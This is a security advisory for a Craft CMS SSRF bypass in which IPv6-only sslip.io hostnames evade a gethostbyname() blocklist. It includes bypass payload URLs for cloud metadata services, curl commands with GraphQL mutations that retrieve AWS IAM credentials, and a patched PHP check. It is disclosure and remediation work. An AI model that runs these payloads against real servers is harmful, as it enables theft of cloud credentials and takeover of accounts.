GHSA-v2gc-rm6g-wrw9

The SSRF validation in Craft CMS’s GraphQL Asset mutation uses `gethostbyname()`, which only resolves IPv4 addresses. When a hostname has only AAAA (IPv6) records, the function returns the hostname string itself, causing the blocklist comparison to always fail and completely bypassing SSRF protection. This is a bypass of the security fix for CVE-2025-68437 ([GHSA-x27p-wfqw-hfcc](https://github.com/craftcms/cms/security/advisories/GHSA-x27p-wfqw-hfcc)). ## Required Permissions Exploitation requires GraphQL schema permissions for: - Edit assets in the `<VolumeName>` volume - Create assets in the `<VolumeName>` volume These permissions may be granted to: - Authenticated users with appropriate GraphQL schema access - Public Schema (if misconfigured with write permissions) --- ## Technical Details ### Root Cause From PHP documentation: *"gethostbyname - Get the IPv4 address corresponding to a given Internet host name"* When no IPv4 (A record) exists, `gethostbyname()` returns the hostname string unchanged. ### Bypass Mechanism ``` +-----------------------------------------------------------------------------+ | Step 1: Attacker provides URL | | http://fd00-ec2--254.sslip.io/latest/meta-data/ | +-----------------------------------------------------------------------------+ | Step 2: Validation calls gethostbyname('fd00-ec2--254.sslip.io') | | -> No A record exists | | -> Returns: "fd00-ec2--254.sslip.io" (string, not an IP!) | +-----------------------------------------------------------------------------+ | Step 3: Blocklist check | | in_array("fd00-ec2--254.sslip.io", ['169.254.169.254', ...]) | | -> FALSE (string != IPv4 addresses) | | -> VALIDATION PASSES | +-----------------------------------------------------------------------------+ | Step 4: Guzzle makes HTTP request | | -> Resolves DNS (including AAAA records) | | -> Gets IPv6: fd00:ec2::254 | | -> Connects to AWS IMDS IPv6 endpoint | | -> CREDENTIALS STOLEN | +-----------------------------------------------------------------------------+ ``` --- ## Bypass Payloads ### Blocked IPv4 Addresses and Their IPv6 Bypass Equivalents | Cloud Provider | Blocked IPv4 | IPv6 Equivalent | Bypass Payload | |----------------|--------------|-----------------|----------------| | **AWS EC2 IMDS** | `169.254.169.254` | `fd00:ec2::254` | `http://fd00-ec2--254.sslip.io/` | | **AWS ECS** | `169.254.170.2` | `fd00:ec2::254` (via IMDS) | `http://fd00-ec2--254.sslip.io/` | | **Google Cloud GCP** | `169.254.169.254` | `fd20:ce::254` | `http://fd20-ce--254.sslip.io/` | | **Azure** | `169.254.169.254` | No IPv6 endpoint | N/A | | **Alibaba Cloud** | `100.100.100.200` | No documented IPv6 | N/A | | **Oracle Cloud** | `192.0.0.192` | No documented IPv6 | N/A | ### Additional IPv6 Internal Service Bypass Payloads | Target | IPv6 Address | Bypass Payload | |--------|--------------|----------------| | **IPv6 Loopback** | `::1` | `http://0-0-0-0-0-0-0-1.sslip.io/` | | **AWS NTP Service** | `fd00:ec2::123` | `http://fd00-ec2--123.sslip.io/` | | **AWS DNS Service** | `fd00:ec2::253` | `http://fd00-ec2--253.sslip.io/` | | **IPv4-mapped IPv6** | `::ffff:169.254.169.254` | `http://0-0-0-0-0-0-ffff-a9fe-a9fe.sslip.io/` | --- ## Steps to Reproduce ### Step 1: Verify DNS Resolution ```bash # Verify the hostname has no IPv4 record (what gethostbyname sees) $ dig fd00-ec2--254.sslip.io A +short # (empty - no IPv4 record) # Verify the hostname has IPv6 record (what Guzzle/curl uses) $ dig fd00-ec2--254.sslip.io AAAA +short fd00:ec2::254 ``` ### Step 2: Enumerate AWS IAM Role Name ```bash curl -sk "https://TARGET/index.php?p=admin/actions/graphql/api" \ -H "Content-Type: application/json" \ -H "Authorization: Bearer YOUR_GRAPHQL_TOKEN" \ -d '{ "query": "mutation { save_photos_Asset(_file: { url: \"http://fd00-ec2--254.sslip.io/latest/meta-data/iam/security-credentials/\", filename: \"role.txt\" }) { id } }" }' ``` ### Step 3: Retrieve AWS Credentials ```bash # Replace ROLE_NAME with the role discovered in Step 2 curl -sk "https://TARGET/index.php?p=admin/actions/graphql/api" \ -H "Content-Type: application/json" \ -H "Authorization: Bearer YOUR_GRAPHQL_TOKEN" \ -d '{ "query": "mutation { save_photos_Asset(_file: { url: \"http://fd00-ec2--254.sslip.io/latest/meta-data/iam/security-credentials/ROLE_NAME\", filename: \"creds.json\" }) { id } }" }' ``` ### Step 4: Access Saved Credentials The credentials will be saved to the asset volume (e.g., `/userphotos/photos/creds.json`). --- ### Attack Scenario 1. Attacker finds Craft CMS instance with GraphQL asset mutations enabled 2. Attacker sends mutation with `url: "http://fd00-ec2--254.sslip.io/latest/meta-data/iam/security-credentials/"` 3. Error message or saved file reveals IAM role name 4. Attacker retrieves credentials via second mutation 5. Attacker uses credentials to access AWS services 6. **Attacker can now achieve code execution by creating new EC2 instances with their SSH key** --- ## Remediation Replace `gethostbyname()` with `dns_get_record()` to check both IPv4 and IPv6: ```php // Resolve both IPv4 and IPv6 addresses $records = @dns_get_record($hostname, DNS_A | DNS_AAAA); if ($records === false) { $records = []; } // Blocked IPv6 metadata prefixes $blockedIPv6Prefixes = [ 'fd00:ec2::', // AWS IMDS, DNS, NTP 'fd20:ce::', // GCP Metadata '::1', // Loopback 'fe80:', // Link-local '::ffff:', // IPv4-mapped IPv6 ]; foreach ($records as $record) { // Check IPv4 (existing logic) if (isset($record['ip']) && in_array($record['ip'], $blockedIPv4)) { return false; } // Check IPv6 (NEW) if (isset($record['ipv6'])) { foreach ($blockedIPv6Prefixes as $prefix) { if (str_starts_with($record['ipv6'], $prefix)) { return false; } } } } ``` ### Additional Mitigations | Mitigation | Description | |------------|-------------| | Block wildcard DNS services | Block nip.io, sslip.io, xip.io suffixes | | Use `dns_get_record()` | Resolves both IPv4 and IPv6 | --- ## Resources - https://github.com/craftcms/cms/commit/2825388b4f32fb1c9bd709027a1a1fd192d709a3 - [PHP: gethostbyname](https://www.php.net/manual/en/function.gethostbyname.php) - "Get the **IPv4 address** corresponding to a given Internet host name" - [GHSA-x27p-wfqw-hfcc](https://github.com/advisories/GHSA-x27p-wfqw-hfcc) - Original SSRF vulnerability (CVE-2025-68437) - [AWS IMDS IPv6 Documentation](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-retrieval.html) - [GCP Metadata Server Documentation](https://cloud.google.com/compute/docs/metadata/querying-metadata) - [PayloadsAllTheThings - SSRF Cloud Instances](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/SSRF-Cloud-Instances.md)